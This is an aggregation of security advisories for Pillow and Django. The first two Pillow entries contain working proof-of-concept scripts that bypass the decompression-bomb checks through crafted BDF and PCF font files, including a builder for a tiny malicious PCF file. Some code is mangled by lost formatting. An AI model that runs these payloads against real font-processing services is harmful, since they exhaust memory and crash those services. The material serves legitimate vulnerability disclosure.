Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
Loaded glyph images persist in self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected
Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
Description
PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.
Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.
Vulnerable code (PIL/FontFile.py lines ~64–92):
``python
def compile(self) -> None:
if self.bitmap:
return
h = w = maxwidth = 0
lines = 1
for glyph in self.glyph: # up to 256 glyph slots
if glyph:
d, dst, src, im = glyph
h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled
w = w + (src[2] - src[0])
if w > WIDTH: # WIDTH = 800
lines += 1
w = src[2] - src[0]
maxwidth = max(maxwidth, w)
xsize = maxwidth # ≤ 800 (capped by WIDTH constant)
ysize = lines h # ← lines(256) × h(65535) = 16,776,960
if xsize == 0 and ysize == 0:
return
self.ysize = h
# NO _decompression_bomb_check() here ←
self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation
`
"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:
| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |
|---|---|---|
| Pixel count | 700,000 | 179,200,000 |
| DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning |
| DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error |
With PCF-maximum glyph height (65,535):
| Metric | Value |
|---|---|
| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |
| h (max glyph height) | 65,535 |
| xsize | 800 |
| ysize = lines × h | 256 × 65,535 = 16,776,960 |
| Total pixels | 800 × 16,776,960 = 13,421,568,000 |
| Ratio vs. DecompressionBombError threshold | 75× |
| Memory (mode "1", 1 bit/pixel) | ~1.6 GB |
Steps to reproduce
Proof of Concept script:
`python
#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image
MAX_GLYPHS = 256
GLYPH_W = 800
GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold
class MockFont(FontFile.FontFile):
def __init__(self):
super().__init__()
# Each glyph is individually safe (700K px < 89.4M warning)
im = Image.new("1", (GLYPH_W, GLYPH_H))
for i in range(MAX_GLYPHS):
self.glyph[i] = (
(GLYPH_W, GLYPH_H),
(0, -GLYPH_H, GLYPH_W, 0),
(0, 0, GLYPH_W, GLYPH_H),
im,
)
Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS GLYPH_H)
try:
Image._decompression_bomb_check(combined_size)
print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
print(f"[OK] bomb check WOULD block {combined_size}: {e}")
Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile() # → Image.new("1", (800, 224000)) — no error raised
px = font.bitmap.size[0] font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f" No DecompressionBombError raised at any point.")
`
Expected output:
`
[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
pixels=179,200,000 (1.001× DecompressionBombError threshold)
No DecompressionBombError raised at any point.
`
Verified live on Pillow 12.2.0 — compile() succeeds with no exception.
Real-world trigger using BDF font file:
`python
from PIL import BdfFontFile
import io
Load a crafted BDF font with 256 glyphs each claiming height=65535
(each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check
`
Attack scenarios:
| Scenario | Effect |
|---|---|
| Web font preview (BdfFontFile(upload).to_imagefont()) | DoS with crafted .bdf upload |
| Server-side font renderer that loads PCF → to_imagefont() | OOM crash |
| Font pipeline: load → render text | One malicious font file kills the process |
Impact
Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
Confidentiality: None
Integrity: None
Affected call paths:
BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile()
BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile()
PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile()
PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()
Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.
Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-08.
Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Description
PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:
``
xsize = right - left (max: 65535 − 0 = 65535)
ysize = ascent + descent (max: 65535 + 65535 = 131070)
`
Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Vulnerable code (PIL/PcfFontFile.py line 224–227):
`python
for i in range(nbitmaps):
xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled
b, e = offsets[i : i + 2]
bitmaps.append(
Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
# ↑ NO _decompression_bomb_check()!
)
`
Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:
Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond
Steps to reproduce
Proof of Concept script:
`python
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
PCF binary constants
PCF_MAGIC = 0x70636601
PCF_PROPS = 1 << 0
PCF_METRICS = 1 << 2
PCF_BITMAPS = 1 << 3
PCF_ENCODINGS= 1 << 5
def build_bomb_pcf(xsize, ysize):
# Properties: empty
props = struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
metrics = struct.pack("<II", 0, 1)
metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack)
bitmaps = struct.pack("<II", 0, 1)
bitmaps += struct.pack("<I", 0) # offset[0] = 0
bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
# Encodings: char 0x41 ('A') → glyph 0
enc_offsets = [0xFFFF]65 + [0] + [0xFFFF]62
encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
encodings += struct.pack("<" + "H"128, enc_offsets)
secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
(PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
hdr_size = 4 + 4 + len(secs) 16
out = struct.pack("<II", PCF_MAGIC, len(secs))
offset = hdr_size
for stype, sdata in secs:
out += struct.pack("<IIII", stype, 0, len(sdata), offset)
offset += len(sdata)
for _, sdata in secs:
out += sdata
return out
pcf = build_bomb_pcf(W, H)
print(f"[] PCF file size : {len(pcf)} bytes")
print(f"[] Glyph size : {W} x {H} = {WH:,} pixels")
print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start()
try:
font = PcfFontFile(io.BytesIO(pcf))
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB")
except Exception as e:
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
print(f" Heap peak: {peak/1024*2:.2f} MB")
print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception")
`
Expected output:*
`
[Image.open() path] BLOCKED by DecompressionBombError
[] PCF file size : 148 bytes
[] Glyph size : 14000 x 14000 = 196,000,000 pixels
[] C-heap target : 23 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
C-heap allocation of ~23 MB occurred before exception
`
Amplification table:
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
|---|---|---|---|
| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
Impact
Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
Confidentiality: None
Integrity: None
Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-07
Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)
Impact
Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.
Patches
Patched version: 12.2.0
Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.
Workarounds
Use any version but affected versions: >= 10.3.0, < 12.2.0
Resources
Fix: https://github.com/python-pillow/Pillow/pull/9520
Original issue: CVE-2026-25990 (Pillow 12.1.1)
FITS GZIP decompression bomb in Pillow
Impact
Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).
Patches
The amount of data read is now limited to the necessary amount.
Fixed in Pillow 12.2.0 (PR #9521).
Workarounds
Avoid Pillow >= 10.3.0, < 12.2.0
Only open specific image formats, excluding FITS.
Django vulnerable to ASGI header spoofing via underscore/hyphen conflation
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. ASGIRequest allows a remote attacker to spoof headers by exploiting an ambiguous mapping of two header variants (with hyphens or with underscores) to a single version with underscores.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
Django: SGI requests with a missing or understated `Content-Length` header could bypass the `DATA_UPLOAD_MAX_MEMORY_SIZE` limit
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. ASGI requests with a missing or understated Content-Length header could bypass the DATA_UPLOAD_MAX_MEMORY_SIZE limit when reading HttpRequest.body, allowing remote attackers to load an unbounded request body into memory.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Superior for reporting this issue.
Django vulnerable to Uncontrolled Resource Consumption
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.
URLField.to_python() in Django calls urllib.parse.urlsplit(), which performs NFKC normalization on Windows that is disproportionately slow for certain Unicode characters, allowing a remote attacker to cause denial of service via large URL inputs containing these characters.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
Pillow affected by out-of-bounds write when loading PSD images
Impact
An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.
Patches
Pillow 12.1.1 will be released shortly with a fix for this.
Workarounds
Image.open() has a formats parameter that can be used to prevent PSD images from being opened.
References
Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html
Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
FilteredRelation is subject to SQL injection in column aliases via control characters, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to QuerySet methods annotate(), aggregate(), extra(), values(), values_list(), and alias(). Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Solomon Kebede for reporting this issue.
Django has an SQL Injection issue
An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.
Raster lookups on `RasterField` (only implemented on PostGIS) allows remote attackers to inject SQL via the band index parameter. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
Django is vulnerable to DoS via XML serializer text extraction
An issue was discovered in 5.2 before 5.2.9, 5.1 before 5.1.15, and 4.2 before 4.2.27.
Algorithmic complexity in django.core.serializers.xml_serializer.getInnerText() allows a remote attacker to cause a potential denial-of-service attack triggering CPU and memory exhaustion via specially crafted XML input processed by the XML Deserializer.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
Django has a denial-of-service vulnerability in HttpResponseRedirect and HttpResponsePermanentRedirect on Windows
An issue was discovered in 5.1 before 5.1.14, 4.2 before 4.2.26, and 5.2 before 5.2.8.
NFKC normalization in Python is slow on Windows. As a consequence, django.http.HttpResponseRedirect, django.http.HttpResponsePermanentRedirect, and the shortcut django.shortcuts.redirect were subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
Django vulnerable to SQL injection in column aliases
An issue was discovered in Django 4.2 before 4.2.25, 5.1 before 5.1.13, and 5.2 before 5.2.7. QuerySet.annotate(), QuerySet.alias(), QuerySet.aggregate(), and QuerySet.extra() are subject to SQL injection in column aliases, when using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to these methods (on MySQL and MariaDB).